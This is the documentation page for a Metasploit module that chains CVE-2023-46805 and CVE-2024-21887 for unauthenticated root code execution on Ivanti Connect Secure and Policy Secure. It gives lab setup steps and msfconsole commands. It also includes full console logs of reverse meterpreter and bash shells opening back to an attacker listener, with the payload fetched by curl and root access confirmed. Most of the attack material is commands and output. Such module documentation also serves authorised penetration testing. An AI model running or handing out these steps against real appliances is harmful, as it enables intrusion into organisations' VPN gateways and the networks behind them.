## Vulnerable Application
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are
also vulnerable.

## Testing
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
below steps are for HyperV, but it should be very similar to install on VMWare.

* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
* Boot the VM and follow the console instructions to install the product.
* After installation completes, you will have created an admin account and password. You can log into the admin
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.

## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
6. `check`
7. `exploit`

## Scenarios
To support a broad set of available payloads, we support both a Linux target and a Unix Target. This allows for native
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.

### Linux Target

```
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set RHOST 192.168.86.111
RHOST => 192.168.86.111
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 0
target => 0
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options

Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.86.111   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    443              yes       The target port (TCP)
   SSL      true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      DbFmtsbLwkUU     no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
[*] Sending stage (3045380 bytes) to 192.168.86.111
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.111:27576) at 2024-01-17 10:16:52 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.86.111
OS           :  (Linux 4.15.18.34-production)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
meterpreter >
```

### Unix Target

```
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 1
target => 1
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options

Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.86.111   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    443              yes       The target port (TCP)
   SSL      true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Unix Command



View the full module info with the info, or info -d command.

msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.111:27582) at 2024-01-17 10:19:19 +0000

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost2 4.15.18.34-production #1 SMP Fri Jun 17 13:08:47 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
pwd
/data/var/cores
cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
exit
[*] 192.168.86.111 - Command shell session 2 closed.
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) >
```
